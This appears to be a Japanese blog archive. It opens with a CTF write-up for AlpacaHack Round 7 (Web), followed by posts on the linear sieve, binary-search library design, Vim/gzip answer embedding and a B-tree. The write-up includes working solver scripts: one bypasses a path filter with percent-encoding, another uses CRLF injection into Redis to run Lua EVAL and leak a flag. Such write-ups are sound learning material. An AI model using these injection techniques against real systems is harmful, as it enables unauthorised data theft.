write-up: AlpacaHack Round 7 (Web)

AlpacaHack Round 7 (Web) に参加しました。えびちゃん的には初めての CTF のコンテストです。

自分語り

シェルスクリプトでごにょごにょやったり、インジェクションのことを考えたりするのは好きなので、うまいことハマれば CTF は好きそうなのかな？というふんわりした気持ちは何年か前からあったのですが、常設の CTF サイトのよさそうなものがわからなかったり、始め方がいまいちわからなかったりでなんとなく敬遠していました。 AlpacaHack には半月くらい前に登録して、Challenge Archive から（Welcome を除いて、）Web を 2 つ、Pwn を 5 つ、Rev と Crypto を 1 つずつ解きました。

元々（競プロをする前から）バイナリファイルを読むの自体はやっていて、そういう部分とはある程度仲よしだったと思います。お友だちコマンドは hexdump -C です。 最近は、OpenSSL の証明書や秘密鍵のファイル（PEM ã‚„ DER 形式のやつ）を読んで楽しんでいました。 というか、それを読みながら「RSA 用の鍵ってこういう風にエンコードされてるのね〜」「そういえば、CTF だと RSA 関連の問題が出るんだったよね〜」と思って、「AlpacaHack っていうのが最近話題になってたし、始めてみようかね〜」となったのが始めた経緯でした。

Crypto に関しては、競プロで慣れているような群の話もありつつ、ワードサイズには収まらない値が当然だったりして前提が結構違うなという気持ちがあります。 まだまだ知らないアルゴリズムがたくさんあるんだな〜というところです。たとえば LLL というのはなんですか（名前だけは無限回聞いている）。

今回のコンテストの話

シェルの出力は、#> から始まる行で示し、出力の省略は #: で示します。

Treasure Hunt

まず web/Dockerfile を読みます。FLAG_PATH は（MD5 ハッシュに基づく）深い階層のパスっぽいので、とりあえずローカルで見てみます。

% docker exec -it treasure-hunt-treasure-hunt-1 bash
I have no name!@b557aca14e98:/app$ ls -R
#:
#> ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x:
#> t
#:

I have no name!@b557aca14e98:/app$ cat ./public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t 
#> Alpaca{REDACTED}

というわけで http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t にアクセスできればいいんですが、/[flag]/ にマッチするとだめらしいので考えます。URL が case-insensitive だったらうれしいなと思って http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/A/c/2/8/9/1/F/L/A/G/t/x/t としてみましたがだめらしいので、もうちょっと考えます。

% curl http://localhost:3000/drum
#> 🥁

% curl http://localhost:3000/dru%6d
#> 🥁

curl だと %-encode しても意図したものが返ってきてくれていそうです。これを decode しているのが curl 側なのかサーバ側（の判定箇所以降）なのかがこの段階では（事前知識なしでは）判断できないですが、とりあえず後者だったらうれしいので後者だとして進めます。

% curl http://localhost:3000/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/%61/c/2/8/9/1/%66/%6c/%61/%67/t/x/t
#> Alpaca{REDACTED}

あ〜〜。ということで、あとは実際のサーバにおけるパスを特定する方法を考えます。

とりあえず、存在することを知っているディレクトリとして /3 があるので、そこにアクセスしてみます。

% curl -i http://localhost:3000/3
#> HTTP/1.1 301 Moved Permanently
#:
#> Location: /3/
#:

% curl -i http://localhost:3000/4
#> HTTP/1.1 404 Not Found
#:

あ〜。ステータスコードで判断できそうですね。

Python で requests.get(url, allow_redirects=False).ok をしようとしましたが、%-encode まわりが期待通りにいってくれないようだったので、ソルバは Zsh で書きました。

BASE_URL=http://34.170.146.252:19843

escape() {
    echo ${${${${1//f/%66}//l/%6c}//a/%61}//g/%67}
}

query() {
    echo "GET $1"
    local target_path=$(escape $1)
    response=$(curl -sw '%{http_code}\n' -o /dev/null "$BASE_URL$target_path")
    [[ $response != 404 ]]
}

target_path=
for _ in {1..32}; do
    for x in {0..9} {a..f}; do
        if query "$target_path/$x"; then
            target_path+=/$x
            break
        fi
    done
done

echo $target_path

curl ${BASE_URL}$(escape "$target_path/f/l/a/g/t/x/t")

% zsh solve.zsh
#:
#> GET /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
#> /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
#> Alpaca{*************************}

Alpaca Poll

各ファイルを読んでいきます。

    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    const message = `INCR ${animal}\r\n`;

あからさまに「ここをやってください」と書いてくださっているので、ここを見ていきます。 Redis を使っているようなので、まずは（具体的なインジェクションのことは忘れて）Redis でどうしたら取得できるかを考えます。

% docker exec -it alpaca-poll-alpaca-poll-1 bash
I have no name!@6439a1641d16:/app$ redis-cli
127.0.0.1:6379> incr dog
#> (integer) 18
127.0.0.1:6379> incr dog
#> (integer) 19
127.0.0.1:6379> get flag
#> "Alpaca{REDACTED}"

Redis のコマンドはあまり知らないので、ドキュメントを読みます。なんらかのことをした結果の整数値が得られるので、「フラグの $i$ 文字目の ASCII としての値」みたいなのが得られるコマンドがあるとうれしいです。 EVAL や Scripting with Lua を見つけたので、もうどうにでもできそうです。

I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 1)' 1 flag
#> (integer) 65
I have no name!@6439a1641d16:/app$ redis-cli eval 'return string.byte(redis.call("GET", KEYS[1]), 2)' 1 flag
#> (integer) 108

これにはえびちゃんもにっこりです。あとは、INCR ${animal} の部分でどう EVAL を実行するかを考えればよさそうです。 とりあえず、うまくいっているかをわかりやすく調べたいので、INCR dog ã‚’ 2 回実行するようなことができるかを試してみます。

% curl http://localhost:3000/vote -d 'animal=dog;incr dog'
#> {"error":"something wrong"}

とりあえず ; 区切りにしてみましたが、Redis はそういう感じの子ではないらしいです。

% curl http://localhost:3000/vote -d 'animal=do%0Ag'
#> {"dog":24}

\n の消え方を試してみます。試行錯誤したり、とりあえずたくさん INCR したりして気分転換したりしました。 そういえば JavaScript での全置換って replaceAll ってだよね？と思って、あ〜となりました。

% curl http://localhost:3000/vote -d 'animal=do%0Ag'
#> {"dog":327}

% curl http://localhost:3000/vote -d 'animal=dog%0A%0Aincr dog'
#> {"dog\nincr dog":328}

% curl http://localhost:3000/vote -d 'animal=dog%0D%0D%0A%0Aincr dog'
#> {"dog\r\nincr dog":330}

お？ 2 つずつ増えていますね。キーがめちゃくちゃになっていますが、結局欲しいのは値の方なのでどうでもいいですね。 見た感じ、最初のコマンドの結果が返ってきてしまっていそうで、二つ目のコマンド（すなわち、インジェクションして EVAL したいやつ）の返り値を得るためにはもう少し考える必要がありそうです。とりあえず INCR の引数はなしにしてしまってエラー扱いにしたら、後者だけ返ってきてくれないですかね（おいのり）。

% curl http://localhost:3000/vote -d 'animal=%0A%0A eval '\''return string.byte(redis.call("GET", KEYS[1]), 1)'\'' 1 flag'
#> {"\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), 1)' 1 flag":65}

あ〜〜たすかります。フラグは Alpaca{...} だと知っているので、A であるところの 65 が返ってきてくれてうれしいですね。

あとはそういうソルバを書けばいいですね。

import json

import requests

BASE_URL = "http://34.170.146.252:7782"


def query(i):
    url = f"{BASE_URL}/vote"
    animal = f"\n\n eval 'return string.byte(redis.call(\"GET\", KEYS[1]), {i})' 1 flag"
    res = requests.post(url, data={"animal": animal})
    resj = json.loads(res.text.encode())
    return ("error" not in resj) and chr([*resj.values()][0])


for i in range(1, 200):
    r = query(i)
    if not r:
        break

    print(r, end="")

print()

% python solve.py
#> Alpaca{******************}

minimal-waf・disconnection

うむむうわからないですね。

こういう Admin Bot みたいなのって汎用グッズ（？）みたいなやつなんですか？ Challenge Archive のところでも見かけた記憶があります。

% curl 'http://localhost:3000/view?html=script'
#> XSS Detected: script

% curl 'http://localhost:3000/view?html=script' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Dest: x'
#> script

% curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "https://example.com"}'
#> OK

% curl -X POST 'http://localhost:1337/api/report' -H 'Content-Type: application/json' -d '{"url": "http://34.170.146.252:26860/"}'
#> OK

ふーむ？ うーん......？

bot/bot.js の url には好きなことを書けそうなので、そこになんかするんですか？

    await page.goto(url, { timeout: 5_000 });

結局やることがいまいちよくわからずで、前日あまり寝られてないのもあり、そのまま寝てしまいました。 そもそもの定番としての知識みたいな部分が欠けてそうな気がします。

コンテスト後

起きました。寝る前は 7 位だったのですが、起きたら 8 位になっていました。 十分よい順位なのではないでしょうか。えびちゃんは（競プロでも）競技パートにはあまり興味がないのですが、とはいえ (小さめの整数)/(大きめの整数) を見るとうれしい気持ちになってしまいます。

一旦寝てから参加するか迷っていたのですが、2 完早解きでのよい順位だったので、がんばって参加しておいてよかったなと思いました。

ABC にも参加しましたが、20 分くらい遅刻したので微妙な感じでした（遅刻を抜きにしても、もっと早く解けという感じの出来ではありました）。

write-up を書くと非常に歓迎してもらえるらしいので書きました。

歓迎されます 非常に

— keymoon​ (@kymn_) November 30, 2024

おしゃべり

いろいろとまだまだ知らないことが多いので、お勉強していきたいな〜という気持ちです。

最初のうちは、他に人の write-up とかを（ネタバレはある程度避けつつも、それなりには覚悟して）ばーっと読んでいって吸収していくのがいいのかな？と思ったりしています。たとえば下記を読んだりしました（後者はまだ前半しか読んでないです）。

keymoon.hatenablog.com

ptr-yudai.hatenablog.com

これらもちゃんと読みたいです。

furutsuki.hatenablog.com

mitsu1119.github.io

radareorg/radare2 とか pwntools とかを触ったりしていますが、まだちゃんと使いこなせていないというか、うれしさを活かしきれていない感じがありますね。

楕円曲線とか、格子関連のなにか（？？？）とか、Pollard の $\rho$ 法や $p-1$ 法など、仲よしになりたいトピックはいろいろありますが、焦らずゆっくりやっていきましょうかねえというところです。CTF 以外にもやりたいお勉強はたくさんあって、エルフか忍者になりたい気持ちが強まります。

とりあえずは、競プロでいうところの「とりあえず愚直に書いたときの計算量を考える」「定番の高速化手法を知る（累積和とか座圧とか）」「こういう類のものは DP・にぶたん・etc.」くらいのレベルの、基礎的な感覚を養いたいなという気持ちがあります。

おわり

おわりです。

線形篩で遊ぼう

線形篩と呼ばれているアルゴリズム・データ構造があります。

「線形時間で前計算できる何々」を「線形何々」と呼ぶのは不適切ですか、もしかして？*1

$\gdef\lpf{\operatorname{lpf}}$

ざっくり紹介

線形篩の構築は、各 $i$ ($2\le i\le n$) に対して 最小素因数 (least prime factor) $\lpf(i)$ を求めるものであり、これを $O(n)$ 時間で行います。 これにより、$i$ の素数判定を $\lpf(i) = i$ でできるわけです。

また、構築の過程で $n$ 以下の素数の列挙も行うので、素数の列挙をしたいときにはそのまま使うこともできます。

構築に関して

下記の考察に基づきます。

整数 $i\ge 2$ に対して、$j\le\lpf(i)$ なる各素数 $j$ に対して $\lpf(i\times j) = j$ が成り立つ。 よって、（配る DP によって）$\lpf(i)$ が求められたら、$j\le\lpf(i)$ なる各素数に対して $\lpf(i\times j)$ が求められる。

DP をしていく際に、$i$ への更新が行われないまま $i$ から配るターンになったら、$i$ が素数であることがわかるので、素数のリストに $i$ を加える。 各 $i$ に対して、更新は $i/{\lpf(i)}$ からしか行われないため、全体として $O(n)$ 時間であることがわかる。

発展編

最小素因数を考えながら DP をできるものがしばしばあります。 たとえば、（重複を含めた）素因数の個数が挙げられます。 $i$ の（重複を含めた）素因数の個数を $\Omega(i)$ とおく*2と、

$$ \Omega(i) = \begin{cases} 0, & \text{if }i = 1; \\ \Omega(i/{\lpf(i)}) + 1, & \text{otherwise} \end{cases} $$ と書けます。

$\gdef\ord{\operatorname{ord}}$

非負整数 $i$ が素数 $p$ で割り切れる回数を $\ord_p(i)$ と書くことにし、$i$ が最小素因数で割り切れる回数を $c(i) = \ord_{\lpf(i)}(i)$ とします。 また、便宜上 $\lpf(1) = 0$ としておきます*3。

$$ c(i) = \begin{cases} 0, & \text{if }i = 1; \\ 1, & \text{if }{\lpf(i)} \ne {\lpf(i/{\lpf(i)})}; \\ c(i/{\lpf(i)}) + 1, & \text{otherwise}. \end{cases} $$

同様の分岐で $+1$ ではなく $\times{\lpf(i)}$ などを考えることで、$\lpf(i)^{c(i)}$ を求めることもできます。

愚直に関して

各 $i$ に対して、愚直に割り続けて回数を調べる方法でも、全体で $O(n)$ 時間を達成できるらしいです。 ${1.77315667\ldots}\times n$ くらいらしいです？ $\eod$

より一般に、乗法的関数 (multiplicative function) $f(n)$ について考えます。乗法的関数とは、下記を満たす関数のことです。

• $f(1) = 1$,
• $\gcd(u, v) = 1 \implies f(uv) = f(u)f(v)$.

$n = p_1^{e_1}\cdots p_k^{e_k}$ と素因数分解できるなら $f(n) = f(p_1^{e_1})\cdots f(p_k^{e_k})$ と書くことができます。

さて、乗法的関数であって以下を満たすものを考えます。

• $f(p)$ は $p$ から計算できる。
• $i\gt 1$ に対して、$f(p^i)$ は $p$, $p^{i-1}$, $f(p^{i-1})$ から計算できる。

このとき、各 $i$ に対する $f(i)$ が DP によって求めることができます。

実装

Euler の $\phi$ 関数や、約数の総和などを求めています。便宜上、$f(0)$ として使う値も渡してみていますが、T::zero() とかにしてもよいかもしれません？

use std::ops::Mul;

use num_traits::One;

fn main() {
    let ls = LpfSieve::new(20);
    println!("{ls:?}");

    let phi = ls.dp(0, 1, |&x, p| x * p, |&x, p| x * (p - 1));
    println!("{phi:?}");
    
    let phi = ls.mulfn(0, |p| p - 1, |p, _pp, x| x * p);
    println!("{phi:?}");

    let sigma = ls.mulfn(0, |p| p + 1, |p, pp, x| x + p * pp);
    println!("{sigma:?}");
}

#[derive(Debug)]
struct LpfSieve {
    lpf: Vec<usize>,
}

impl LpfSieve {
    pub fn new(n: usize) -> Self {
        let mut lpf: Vec<_> = (0..=n).collect();
        let mut primes = vec![];
        for i in 2..=n {
            if lpf[i] == i {
                primes.push(i);
            }
            let lpf_i = lpf[i];
            for &j in primes.iter().take_while(|&&j| j <= lpf_i.min(n / i)) {
                lpf[i * j] = j;
            }
        }
        Self { lpf }
    }
    pub fn dp<T>(
        &self,
        x0: T,
        x1: T,
        mut eq: impl FnMut(&T, usize) -> T,
        mut gt: impl FnMut(&T, usize) -> T,
    ) -> Vec<T> {
        let n = self.lpf.len() - 1;
        if n == 0 {
            return vec![x0];
        } else if n == 1 {
            return vec![x0, x1];
        }
        let mut res = vec![x0, x1];
        res.reserve(n + 1);
        for i in 2..=n {
            let lpf = self.lpf[i];
            let tmp = if lpf == self.lpf[i / lpf] {
                eq(&res[i / lpf], lpf)
            } else {
                gt(&res[i / lpf], lpf)
            };
            res.push(tmp);
        }
        res
    }
    pub fn mulfn<T>(
        &self,
        f0: T,
        mut fp: impl FnMut(usize) -> T,
        mut fpi: impl FnMut(usize, usize, &T) -> T, // p, p^{i-1}, f(p^{i-1})
    ) -> Vec<T>
    where
        T: One + Clone,
        for<'a> &'a T: Mul<&'a T, Output = T>,
    {
        let x0 = (f0.clone(), f0.clone(), 1);
        let x1 = (T::one(), T::one(), 1);
        let eq = |(lt_f, eq_f, pp): &(T, T, usize), p: usize| {
            (lt_f.clone(), fpi(p, *pp, eq_f), pp * p)
        };
        let gt = |(lt_f, eq_f, _): &(T, T, usize), p: usize| {
            (lt_f * eq_f, fp(p), p)
        };
        self.dp(x0, x1, eq, gt)
            .into_iter().map(|(lt_f, eq_f, _)| lt_f * eq_f).collect()
    }
}

練習問題

Möbius の $\mu$ 関数や約数の個数なども求めてみましょう。

素因数の個数は ABC 368 F など。

おわり

おなかがすきました。

*1:「線形 RMQ」「線形 LCA」「線形 LA」など。

*2:オーダー記法の一つであるところの $\Omega(f(n) )$ と紛らわしいですが、ここでは登場しないので許されておきます。

*3:ここに関しては、文脈に応じて DP を回しやすいように定義するとよいでしょう。$\infty$ だと思ってもよい場合もあるかも。

抽象化ライブラリの第一歩としての二分探索

「競プロライブラリにおける抽象化と言えばセグ木」みたいな風潮ができてから久しいですが、二分探索に関してそうした抽象化を意識している人はあまり多くない気がしています。

おきもち

たとえば、「ソートされた配列が欲しい」の気持ちのときにいちいちソートの実装を書かされるのはうれしくないはずです。 main 関数にいちいちソートの実装をベタ書きしている人も滅多にいないでしょう。

あるいは、「$0$ 以上 $n$ 未満の整数を順に回したい」と思っているときに「まず $i = 0$ で初期化する。$i \lt n$ である間、$i \xgets+ 1$ で更新する」という “内部実装” を書く必要があるのもうれしくないです。C++ 系の言語を使っていて REP マクロを使っていない人にとっては、そういうベタ書きは当然のものだと思われているでしょうが、ちょっと落ちついて考え直してみてほしいです*1。

二分探索に関しても同様です。 main 関数内での気持ちとしては「何々の条件を満たす最大の値が欲しい」などだけであって、それをするための内部実装をいちいち書くのはうれしくないです。

また、思考のレイヤーの観点の他にも、（たとえば二分探索の内部で二分探索をする必要がある場合などに）変数名をいちいち気にする必要があるのもベタ書きの嫌なポイントです。

競プロ er あるある言説として「ゆーても数行で書けるし」のようなものがありますが、5 行で書けるのと関数呼び出し 1 つで書けるのとでは、やはり手軽さが違うとも思います。

整理・設計

さて、二分探索でやっていることを考えましょう。 状況設定によって二分法と呼び分ける派閥もありますが、ここでは “その手のやつ” たちを二分探索と称することにします。

一旦ここでは整数に限った話をします。界隈でよく言われているような設定は下記でしょう。

$\gdef\boolty{\{\top, \bot\}}$

• input
  • $x_L\in\Z$,
  • $x_U\in\Z$,
  • $f\colon \Z\to\boolty$.
• precondition
  • $x_L \lt x_U$,
  • $f(x_L) = \top$,
  • $f(x_U) = \bot$,
  • $f(x) = \bot \implies f(x+1) = \bot$.
• output
  • $x\in[x_L\lldot x_U]$.
• postcondition
  • $f(x) = \bot$,
  • $f(x-1) = \top$.

ここで、$\top$, $\bot$ は true, false に相当する記号です。 $f(x) = \bot \implies f(x+1) = \bot$ は、界隈で「単調性」と言われがちな条件です。

「単調性」？

ソート済み（単調増加）の列から値を探すときに二分探索を探すというのが基本的な用法としてあり、そこから「単調」と呼ばれるようになったんだろうと思っていました。 とはいえ、[true, true, ..., true, false, ..., false] みたいな配列を称する呼び方として「単調性」は自然なものかね？という気持ちがありました。

なのですが、調べてみた感じだと、そういう用法もあるらしく、ならまぁいいか〜という気持ちになりました。 en.wikipedia.org $\eod$

ところで、二分探索のアルゴリズムで上記の事後条件を満たすような $x\in[x_L\lldot x_U]$ を返すためには、単調性の条件は必要ないことに気づきます。

界隈では「二分探索を用いて境界を見つけるためには単調性が必要である」と言われがちですが、自分の解釈としては、「二分探索を行うと true・false を跨ぐ箇所を一つ見つけることができる。単調性があればそれが一意であることがわかるが、二分探索の実行可能性自体には影響しない」という感じです。

それを踏まえて、下記のような設計でいきます。$f(x_L) = \top$ の条件も除いてしまう方が便利な状況もあるのでそうします*2。

• input
  • $x_L\in\Z$,
  • $x_U\in\Z$,
  • $f\colon \Z\to\boolty$.
• precondition
  • $x_L \le x_U$,
  • $f(x_U) = \bot$.
• output
  • $x\in[x_L\lldot x_U]$.
• postcondition
  • $f(x) = \bot$,
  • $x = x_L \vee f(x-1) = \top$.

$f(x) = \top$ となる方が自然に見える気もしつつ、「（典型的な状況として）$[x_L\lldot x)$ では条件がよい感じで、$[x\lldot x_U)$ だとうれしくない感じになる」のようなイメージでやっていることが多く、こうした設計をしています。 ここは各々が好みに合わせて行えばいいと思います。

実装

そういうわけで、$x_L$, $x_U$, $f$ を渡すと、上記の事後条件を満たすような $x$ を返してくれるようなライブラリを作りたくなってきます。

主要どころということで、Rust, C++, Python の例を挙げてみようと思います。 はてなブログに貼りつけても見にくい感じがあるので、AtCoder への実際の提出コードを貼ります。

• 提出 #56338171, Rust
• 提出 #56335984, C++
• 提出 #56336232, Python

その他

実装に関して

$x_U$ を渡さず、指数探索を行う方針のライブラリを作ってもよいでしょう。えびちゃんはよくこちらを使っています。

思考停止で適当な定数の INF を使うよりは失敗が少ないと思います。 有限値で $\infty$ を代替するときは、思考停止で（≒ 問題ごとに条件を意識せず）使うのではなく、妥当な値であることを都度考える必要があると思っています。

rsk0315.hatenablog.com

中間値に関して

できるだけ、オーバーフローに気をつける実装にしておきましょう。 わざわざライブラリ側で「こういう状況ではバグるんだけど、まぁどうせ競プロで問題になることは少ないし平気」のような欠陥を残しておくメリットは少ないです。 あとそういう欠陥があること自体を忘れがちなので。

意識したことがない人は多いのかもしれませんが、たとえば 1_000_000_000_i32 と 2_000_000_000_i32 の平均値を求めようとする際、単にこれらを足し合わせると i32 ではオーバーフローします。(low + high) / 2 ではなく low + (high - low) / 2 のようにする方針が有名です。ループ条件にも high - low > 1 なので、そういう意識のしやすさもあります。

とはいえこれで満足することもできません。-2_000_000_000_i32 と 2_000_000_000_i32 の差もやっぱりオーバーフローします。 符号つき整数の平均値？ どうするのがいいんでしょう。

C++20 では midpoint という関数が用意されています。

Rust の std の実装では、fn map(a: $SignedTy) -> $UnsignedTy; と fn demap(a: $UnsignedTy) -> $SignedTy; を定義し、下記のようにしているようです (core/num/int_macros.rs, int_impl!)。

demap(<$UnsignedTy>::midpoint(map(self), map(other)))

符号なしに関しては、自分より大きい型にキャストして計算したり、u128 に関しては有名な overflow-free なアルゴリズム ((a ^ b) >> 1) + (a & b) を使っているようです(core/num/mod.rs, midpoint_impl!)。

上記の提出コードでは、過度に複雑になるのを防ぐため、符号なし整数のことだけを考えています。

お気持ちに関して

そもそも、ベタ書きであれライブラリを使うのであれ、二分探索を終えた後に事後条件を意識するのが大事です。 これをしないことには、何回繰り返したところで「勘でやっている」のと大差ないと思います。

もっとも、事前条件・事後条件を意識する必要があるのは二分探索に限らず、すべてのアルゴリズム・データ構造が当てはまるとは思います。

めぐる式に関して

ライブラリ化してしまえば、「毎回二分探索でバグらせています」「めぐる式を使っていますか？」のような会話をいちいちする必要もなくなるだろうなと思っています。

勘違いされていることが多いですが、そもそも めぐる式二分探索の原典 は、[low, high) を半開区間で持つことだけを指しているのではないです。 変数名で区間を [ok, ng)・(ng, ok] のように明示し、どちらの場合でもループの式を abs(ok - ng) > 1 のように統合してしまうもので、なかなか過激なスタイルです。

mid = (ok + ng) / 2 はオーバーフローが怖いです。あと if (solve(mid)) の部分はあんまりうまくない名称な気がします。これはえびちゃんの感情です。

そもそも、にぶたんの下界・上界の部分を「区間」と捉えるの自体がえびちゃんの感覚とあってないかも？

ライブラリ・スニペットに関して

にぶたん（や、その他のアルゴリズム）のテンプレとして下記のようなスニペットを都度貼りつけている人もいるでしょう。

let (mut ok, mut bad) = (0, INF);
while bad - ok > 1 {
    let mid = ok + (bad - ok) / 2;
    let mid_is_ok = {
        // ここに実装を書く
    };
    *(if mid_is_ok { &mut ok } else { &mut bad }) = mid;
}

こういうやり方をやめましょうと主張する気はないですが、あまり好ましいとも思っていません。 「このような引数を渡すと、こういうものを返す」という形式で整理できていないもの・それが難しいものに関してはこれで妥協するのもありですが、事前条件・事後条件の意識などがしにくくなりそうという気がしています。

同様のものとして、BFS なども適切に抽象化できるとうれしいかもしれません*3。

類題

ネタバレになるのであまり好ましくないかもではありますが、そもそも ABC の問題数はたくさんあるので「方針をわかった上できちんと実装を詰める用」と「方針を自力で考える用」で分けて使ってしまってもよい気がします。

ざっと探した感じでも、ABC 300 以降で 2 割くらいのコンテストでは出ているようで、常連さんだなぁという気持ちです。 ところで、ABC 300 がすでに 1 年以上前ということに気づいてびっくりしてしまいました。

• ABC 302 D
• ABC 311 E
• ABC 312 C
• ABC 313 C
• ABC 318 F
• ABC 319 D
• ABC 321 D
• ABC 330 F
• ABC 341 D
• ABC 346 F
• ABC 353 C
• ABC 364 D
• ABC 365 C

所感

ベタ書きしたがる人々を改宗させるのは大変そう。

最近はどうかわからないですが、競プロ界隈の一部では「パソコンや言語仕様に詳しくなく、そうしたものを使って高度に便利なライブラリ・ツールを準備することに対する忌避感がある」のような風潮があったように感じます。 oj やその類のテストツールを使わずに手作業でがんばっている人はまだまだたくさんいるような気がします*4。

おわり

ああ我らの日曜日。

*1:別に REP マクロを推奨したいわけではないですが、ベタ書きを推奨したいわけでもありません。

*2:$f(x_L-1) = \top$ であると見なしているという見方もあるかも。

*3:ありがちなグラフに限った BFS という意味ではなく、一般の探索ということです。

*4:そういえば、これ にレスがなくてかなしい。

ABC 357 C 埋め込みに関して

C なんだけど、答えをベタ書きした Python のコードを gzip で圧縮して Base64 でエンコードしたやつを、復元して実行することで AC できる pic.twitter.com/xsPaFGoi0u

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) June 8, 2024

「埋め込みするにあたってもちゃんとしたコードを書く必要があるじゃん」という声が聞こえたので、ちゃんとしたコードを書かずにやる方法に言及します。 エディタの機能を使いこなすことが重要です。

エディタでの操作

レベル $K$ のカーペットを得ている状態からレベル $K+1$ のカーペットを得る操作の一例を考えます。わかりやすさのため、$K=1$ としたときのテキストを添えながら書きます。

###
#.#
###

(1) 全体を矩形選択*1してコピーしておく。

(2) 全体を矩形選択し、全ての文字を . で置き換える。

...
...
...

(3) (1) でコピーした内容を先頭に貼りつける。

###...
#.#...
###...

(4) カーソルを先頭行の末尾に移動し、末尾に再度貼りつける。

###...###
#.#...#.#
###...###

(5) 全体の内容を切り取る。

(6) (1) でコピーした内容を 3 回（横方向に繰り返すように）貼りつける。

#########
#.##.##.#
#########

(7) 末尾に移動し、(5) で切り取った内容を貼りつける。

#########
#.##.##.#
#########
###...###
#.#...#.#
###...###

(8) 末尾に移動し、(1) でコピーした内容を 3 回貼りつける。

#########
#.##.##.#
#########
###...###
#.#...#.#
###...###
#########
#.##.##.#
#########

(9) 保存する。

できました。

Vim の紹介

ここで、各操作は Vim*2のコマンドで実現することができます。

• (1) <CTRL-V>G$"ay
• (2) <CTRL-V>G$r.
• (3) "aP
• (4) $"ap
• (5) "bdG
• (6) 3"aP
• (7) Go<ESC>"bP
• (8) G3"ap
• (9) ZZ

<CTRL-V> と <ESC> はそれぞれ「control を押しながら V を押す」「esc を押す」です。

たとえば、下記のような内容（<CTRL-V> と <ESC> の箇所は、それぞれ 0x16, 0x1B の文字コードを持つ文字を直接なんとかして入力する）を c.vim という名前で用意しておきます。

<CTRL-V>G$"ay<CTRL-V>G$r."aP$"ap"bdG3"apGo<ESC>"bPG3"apZZ

また、c-out.txt という名前のファイルに下記を書き込んでおきます（レベル $K=0$ のカーペット）。

#

これに対して、下記を実行することで、レベル $K+1$ のカーペットが得られます。

% vim -N -i NONE -u NONE -s c.vim c-out.txt 2>/dev/null

補足

使った機能の説明です。

• <CTRL-V>：矩形選択の開始
• G：最終行に移動
• $：行末に移動
• "ay：a という名前のレジスタにコピー
• r.：. に置換
• "aP：a という名前のレジスタから（カーソルの前に）貼りつけ
  • 3 を前置することで 3 回繰り返す
• "ap：a という名前のレジスタから（カーソルの後に）貼りつけ
• "bdG：最終行までを切り取り、内容をb` という名前のレジスタに入れる
• o<ESC>：カーソルの下に行を追加する
  • o で挿入モードになったのを <ESC> で解除する
• ZZ：保存する

（補足おわり）

最近は “Vim-like な” キーバインドを提供する IDE もあるようですが、こうした機能をサポートしているのかは知りません。 それからえびちゃんは Emacs を普段使いしていますが、実は Vim のことも好きです。

埋め込み

さて、埋め込んだ結果、次のような内容のファイル c.py が得られます。

S = [
    "#",
    """###
#.#
###""",
    ...,  # K = 2 のときの答え
    ...,  # K = 3 のときの答え
    ...,  # K = 4 のときの答え
    ...,  # K = 5 のときの答え
    ...,  # K = 6 のときの答え
]
n = int(input())
print(S[n])

$K=6$ のときは $3^{12} \approx 5.3\times 10^5$ 文字となり、提出コード長制限の 512 KiB を上回ってしまいます。 試しにファイルの内容を gzip -9 で圧縮してみると、十分小さくなりそうなことがわかります*3。

% cat c.py | gzip -9 | wc -c
    5897

これを（提出コードに入れやすいように）Base64 でエンコードします。4/3 倍程度になってしまいますが全然問題ないでしょう。

% cat c.py | gzip -9 | base64 | fold -w76
H4sIAAAAAAACA+3dUa4kRQ4F0P9YReu9H5BQ7YBV8IlYAD+t0YjZ/zTqAXrqUakqE5nhsI8VIwVY
...
+/778a9///6PP/38+Zfvx38BHgVMXiMkCQA=

あとは記事の冒頭のツイートのように直接シェルから実行してもよいですし、そういうのが嫌であれば Python で exec してもよいでしょう。

# Zsh
echo 'H4sIAAAAAAACA+3dUa4kRQ4F0P9YReu9H5BQ7YBV8IlYAD+t0YjZ/zTqAXrqUakqE5nhsI8VIwVY
...
+/778a9///6PP/38+Zfvx38BHgVMXiMkCQA=' |
    base64 -d | gunzip > main.py
python3 main.py

# Python
from base64 import b64decode
from gzip import decompress

SRC = """
H4sIAAAAAAACA+3dUa4kRQ4F0P9YReu9H5BQ7YBV8IlYAD+t0YjZ/zTqAXrqUakqE5nhsI8VIwVY
...
+/778a9///6PP/38+Zfvx38BHgVMXiMkCQA=
"""

exec(decompress(b64decode(SRC)))

所感

久々にこういう遊びをした気がします。 この手の考え方も選択肢に入れておくと、何らかの局面で役に立つこともあるのではないでしょうか。

補足：コンテスト中は（いわゆる正攻法の）再帰のコードを Rust で書きました。

おわり

おわりです。

*1:矩形は「くけい」と読みます。多くのエディタでできる操作だと思います。

*2:Vim というのはエディタの名前です。そういうエディタがあります。

*3:同じようなパターンの繰り返しでできる文字列なので、納得感はあります。

B-tree を書きました

rsk0315.hatenablog.com

B-tree が書けたらまた自慢しに来ます。

書けました。一旦は append*1/split と添字でのアクセスと bisect*2 ができる列としての B-tree です。セグ木のような区間 fold 演算ができた方がいいのかもという気持ちもあります。

一応実装を貼っておきますが、初めてなので改善の余地はよちよちという感じです。

rsk0315.github.io

alloc::collections::btree::node をある程度参考にしつつ書いていて、ある程度は std::collections::BTreeMap の内部についてもわかってきつつ、だいぶ設計が異なるのでまだまだお勉強の余地があるかなという感じです。

